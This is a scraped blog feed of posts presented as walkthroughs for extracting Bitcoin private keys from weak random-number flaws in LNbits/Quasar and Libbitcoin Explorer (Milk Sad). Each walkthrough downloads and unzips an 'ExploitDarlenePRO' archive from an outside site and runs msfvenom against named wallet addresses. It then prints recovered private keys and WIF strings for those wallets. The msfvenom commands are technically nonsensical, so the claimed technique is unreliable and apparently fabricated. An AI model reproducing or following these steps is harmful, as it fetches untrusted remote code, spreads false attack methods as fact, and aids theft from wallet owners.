Сообщение Padding Oracle Attack on Wallet.dat password decryption for the popular wallet Bitcoin Core появились сначала на «CRYPTO DEEP TECH».

]]>
How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability/ Sat, 11 Nov 2023 15:23:43 +0000 https://cryptodeeptech.ru/?p=2442 In this article, we will focus on a smartphone application iOS and Android the popular Bitcoin Wallet that supports fast payments through (Lightning network) BLW: Bitcoin Lightning Wallet . Unfortunately, many autonomous nodes of the open source mobile application from LNbits Node Manager and Core Lightning are exposed to a HIGH RISK of losing all funds in various cryptocurrency coins. Developer David Shares from the Japanese company Bitcoin Portal has […]

Сообщение How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework появились сначала на «CRYPTO DEEP TECH».

]]>

In this article, we will focus on a smartphone application iOS and Android the popular Bitcoin Wallet that supports fast payments through (Lightning network) BLW: Bitcoin Lightning Wallet . Unfortunately, many autonomous nodes of the open source mobile application from LNbits Node Manager and Core Lightning are exposed to a HIGH RISK of losing all funds in various cryptocurrency coins.

Developer David Shares from the Japanese company Bitcoin Portal has published many documents .

Let’s look at the theoretical basis: LNbits is a free account system for many mobile applications that work with various cryptocurrency wallets. Initially, it gained wide popularity LNbits Node Managerwith the development of Bitcoin Lightning Wallet (BLW)… development of non-custodial and autonomous nodes for Bitcoin SPV, designed for Androidand iPhone with functionality Node.js. With autonomous nodes, you have full control over your funds and need to manage your funds yourself (unlike other mobile cryptocurrency wallet apps) .

The open source Node Manager LNbits solves several problems, such as:

  • Collection of paper prices for coins BTC, ETH, LTC, USDT, XLM, BNB, etc.
  • Maintaining a list of public nodes LNbitsthat Bitcoin Lightning Wallet (BLW)it uses to open payment channels.
  • Providing partial payment for payment routes.
  • Storing an encrypted backup of your payment channel.

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

LNbits node manager works with services:

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

According to the examples of Salvador Guerrero, many who have installed LNBitsa full-fledged Bitcoin node can run on a Raspberry Pi to send and receive Bitcoinwithout transaction fees . This is only possible if all crypto wallets LNbitsare in the same Core Lightning instance .

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Developer David Shares of the Japanese company Bitcoin Portal published a chronological list that shows that Lightning Networkit is drowning in technical problems, bugs, shortcomings, criticisms and exploits. It is an over-promised technology that does not provide decentralization and is still far from being functional and secure for users.


After a detailed study of all materials from the chronological list, we drew attention to a vulnerability in the framework and the process of working in the quasar.umd.js code

Quasar  is an open-source Vue.js- based framework that allows you to create responsive websites and mobile applications for various cryptocurrency wallets.

As we know from the source Snyk Vulnerability Database, the latest versions of Vue.js contained vulnerabilities, which allowed the LNbits v0.11.0 version to launch a series of cyclic errors in the quasar.umd.js code



Error in quasar.umd.js code

  // Use best available PRNG
  var randomBytes = (function () {
    // Node & Browser support
    var lib = typeof crypto !== 'undefined'
      ? crypto
      : (
        typeof window !== 'undefined'
          ? window.msCrypto // IE11
          : void 0
      );

    if (lib !== void 0) {
      if (lib.randomBytes !== void 0) {
        return lib.randomBytes
      }
      if (lib.getRandomValues !== void 0) {
        return function (n) {
          var bytes = new Uint8Array(n);
          lib.getRandomValues(bytes);
          return bytes
        }
      }
    }

In the case of a weak pseudo-random number generator, (PRNG) we are given the opportunity to obtain SEED and completely determine the private key to the Bitcoin Wallet, since the method lib.getRandomValues loses cryptographic strength over a random value.

Let’s move on to the practical part:

(You can open the finished file from Jupyter Notebook and upload it to Google Colab notebook )


https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV



Let’s consider a real example of extracting the private key of a Bitcoin Wallet from a weak pseudo-random number generator (PRNG)in the code quasar.umd.js


Bitcoin Wallet : In September 2023there was a theft in the amount of: 11032.77US dollars // BITCOIN: 0.30412330 BTC

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Bitcoin_Lightning_Wallet_Vulnerability.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Click on "+"and “Create a new notepad”


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Install Ruby in Google Colab

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s check the installation version


!ruby --version
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby' for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'ecdsa' for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'base58' to convert integer or binary numbers to base58and from.


!gem install base58

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'crypto' to simplify operations with bytes and basic cryptographic operations


!gem install crypto

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install a library 'config-hash' to simplify working with big data.


!gem install config-hash -v 0.9.0

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install the Metasploit Framework and use MSFVenom

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s see the contents of the folder "metasploit-framework"


ls

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Options:

!./msfvenom -help 
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the GitHub code and use the vulnerable file:  quasar.umd.js


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

In the note we see a link to the file: quasar.umd.js


Let’s open the code:

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

LNbits, free and open-source Lightning wallet and accounts system

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Install lnbits in Google Colab:

!git clone https://github.com/lnbits/lnbits.git


ls


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the vulnerable file: quasar.umd.js using the cat utility

cat lnbits/lnbits/static/vendor/quasar.umd.js

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the folders according to the directory: /modules/exploits/

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Unzip the contents ExploitDarlenePRO.zip using the utility unzip

!unzip ExploitDarlenePRO.zip
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

To run the exploit, let’s go back to Metasploit Framework

cd /

cd content/metasploit-framework/

ls
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

We need to identify our LHOST (Local Host) attacking IP-address virtual machine.

Let’s run the commands:

!ip addr
!hostname -I
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Launch command:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Result:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

We need to save the resulting binary format to a file: binary.txt let’s use the utilityecho

Team:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the file: hex.txt

cat hex.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Private Key Found!


Let’s install the module Bitcoin

!pip3 install bitcoin
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Result:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

BALANCE: $ 11032.77



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/ZpflbzENAAw

Source: https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Сообщение How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework появились сначала на «CRYPTO DEEP TECH».

]]>
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out https://cryptodeeptech.ru/milk-sad-vulnerability-in-libbitcoin-explorer/ Sat, 04 Nov 2023 13:30:00 +0000 https://cryptodeeptech.ru/?p=2419 Slowmist researchers conduct regular research into the security of the Bitcoin blockchain . They disclosed a vulnerability in the Libbitcoin Explorer 3.x library , which allowed attackers to steal more $ 900 000 from Bitcoin Wallets ( BTC ) users. According to analysts, this vulnerability may also affect users  Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash,who use it Libbitcoin to create accounts. Researchers gave the code name for this vulnerability ” Milk […]

Сообщение Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out появились сначала на «CRYPTO DEEP TECH».

]]>

Slowmist researchers conduct regular research into the security of the Bitcoin blockchain . They disclosed a vulnerability in the Libbitcoin Explorer 3.x library , which allowed attackers to steal more $ 900 000 from Bitcoin Wallets ( BTC ) users.

According to analysts, this vulnerability may also affect users  Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash,who use it Libbitcoin to create accounts.

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Researchers gave the code name for this vulnerability ” Milk Sad “

Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем 

Technical description

Technical Description CVE-2023-39910

The cryptocurrency wallet entropy filling mechanism used in Libbitcoin Explorer 3.0.0–3.6.0 is weak, also known as the Milk Sad problem.  Using the Mersenne Twister mt19937 PRNG limits the internal entropy to 32 bits regardless of settings. This allows remote attackers to recover any wallet private keys generated from the entropy results of “bxseed” and steal funds. (Affected users need to transfer funds to a new secure cryptocurrency wallet)

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Weak entropy in Cake Wallet

Cake Wallet
used Dart’s insecure Random() function to generate wallet seeds :

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Uint8List randomBytes(int length, {bool secure = false}) {
  assert(length > 0);
  final random = secure ? Random.secure() : Random();
  final ret = Uint8List(length);
  for (var i = 0; i < length; i++) {
    ret[i] = random.nextInt(256);
  }
  return ret;
}

This can be a real problem given that the function Dart Random()
can revert to 0 or system time.


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Random::Random() {
  uint64_t seed = FLAG_random_seed;
  if (seed == 0) {
    Dart_EntropySource callback = Dart::entropy_source_callback();
    if (callback != nullptr) {
      if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
        // Callback failed. Reset the seed to 0.
        seed = 0;
      }
    }
  }
  if (seed == 0) {
    // We did not get a seed so far. As a fallback we do use the current time.
    seed = OS::GetCurrentTimeMicros();
  }
  Initialize(seed);
}

Funds from every wallet created using the Trust Wallet browser extension could be stolen without any user intervention.

Just recently, the Donjon security research team at Ledger discovered a critical vulnerability in this Trust Wallet browser extension , allowing an attacker to steal all assets of any wallet created using this extension without any user interaction. By knowing an account’s address, you can immediately determine its private key and then gain access to all of its funds. Below are details about the vulnerability, how Ledger Donjon discovered it, its impact over time, an assessment of the affected assets, and how Trust Wallet responded to patch it. But let’s start with a reminder of the basics.

It is difficult to demonstrate that random numbers are correct, and a poor but not fatally flawed random number generator can easily fool an observer. For good randomness, we need a uniform distribution of bits and bytes (and even all chunk sizes) and unpredictability. It should be impossible for the sequence observer to have any information about the next part of the generated sequence.

Because achieving these properties is incredibly difficult, the cryptocurrency space tries to avoid relying on randomness as much as possible, but at one stage we will still need it: when we create a new wallet.

You’re probably already familiar with your mnemonic – 12 to 24 English words that allow you to back up your wallet (if not, you can read the  Ledger Academy article on this very topic).

This mnemonic encodes 16 to 32 bytes of entropy according to the  BIP 39 standard  . The quality of this entropy is critical as it will be the source code of all keys used by your wallet across all chains, following the deterministic inference process defined by the BIP  32  and  BIP 44 standards  .

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

The vulnerable versionTrust Wallet
bx has the same basic, fatal flaw: generating wallet entropy from an inappropriate MT19937 Mersenne Twister.
bx algorithm additionally uses some clock information to populate MT19937, but this is of little consequence for practical offline brute-force attacks carried out by remote attackers.This is still the same limited 32-bit key space that attackers can completely comb through.To the best of our knowledge, Trust Wallet only creates wallets based on the 12-word BIP39 mnemonic, which locks entropy requirements (and thus PRNG usage) to 128 bits.
bxmore is flexible and generates 128-bit, 192-bit, 256-bit output (and more).More options mean more room to search, but are wallets created the same
bx seed -b 128as wallets created by Trust Wallet?As it turned out, no – due to the nuance in the use of PRNG.The algorithm MT19937 Mersenne Twisterused by Trust Walletbx
is the same, but the output is used slightly differently.When filling an entropy array with data, uses a single 32-bit PRNG Trust Walletoutput , takes the low-order 8 bits of that output to fill the array, and throws out the remaining 24 bits via bit-and-to /Random.cpp :MT19937Wasm/
& 0x000000ff src

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
// Copyright © 2017-2022 Trust Wallet.
//

[...]

void random_buffer(uint8_t* buf, size_t len) {
    std::mt19937 rng(std::random_device{}());
    std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
    return;
}

Full detailed documentation of the theoretical part can be studied in the blog: Ledger Donjon , as well as in the documentation: Milk Sad

Let’s move on to the practical part:

(You can open the finished file from Jupyter Notebook and upload it to Google Colab notebook )


https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3



Let’s look at real examples of extracting the private key of a Bitcoin Wallet using a vulnerability in the Libbitcoin Explorer 3.x library .


First Bitcoin Wallet : In September 2023there was a theft in the amount of: 40886.76US dollars // BITCOIN:1.17536256 BTC

Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Click on "+"and “Create a new notepad”


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Install Ruby in Google Colab

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s check the installation version


!ruby --version
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby'for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'ecdsa'for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'base58'to convert integer or binary numbers to base58and from.


!gem install base58

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'crypto'to simplify operations with bytes and basic cryptographic operations


!gem install crypto

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'config-hash'to simplify working with big data.


!gem install config-hash -v 0.9.0

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install the Metasploit Framework and use MSFVenom

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s see the contents of the folder"metasploit-framework"


ls

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Options:

!./msfvenom -help 
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the discovered vulnerability CVE-2023-39910


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910

In the note we see a link to the file: pseudo_random.cpp


Let’s open the code:

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78

libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://github.com/libbitcoin/libbitcoin-system.git

Install libbitcoin-system in Google Colab:

!git clone https://github.com/libbitcoin/libbitcoin-system.git


ls


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the vulnerable file: pseudo_random.cpp using the cat utility

cat libbitcoin-system/src/crypto/pseudo_random.cpp

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the folders according to the directory:/modules/exploits/

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Unzip the contents ExploitDarlenePRO.zipusing the utilityunzip

!unzip ExploitDarlenePRO.zip
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

To run the exploit, let’s go back to Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

We need to identify our LHOST (Local Host)attacking  IP-addressvirtual machine.

Let’s run the commands:

!ip addr
!hostname -I
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Launch command:

!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011

We need to save the resulting binary format to a file: binary.txtlet’s use the utilityecho

Team:

!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: hex.txt

cat hex.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Private Key Found!


Let’s install library Bitcoin

!pip3 install bitcoin
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
WIF:  L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy
HEX:  C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

BALANCE: $ 40886.76


Let’s look at the second example:


2

Let’s look at the second example of extracting the private key of a Bitcoin Wallet using a vulnerability in the  Libbitcoin Explorer 3.x library .


Second Bitcoin Wallet : In September 2023, there was a theft in the amount of: 19886.91 USD // BITCOIN: 0.58051256 BTC

Let’s use the vulnerable file again: pseudo_random.cpp

Launch command:

!./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100

We need to save the resulting binary format to a file:  binary.txt let’s use the utility echo

Team:

!echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
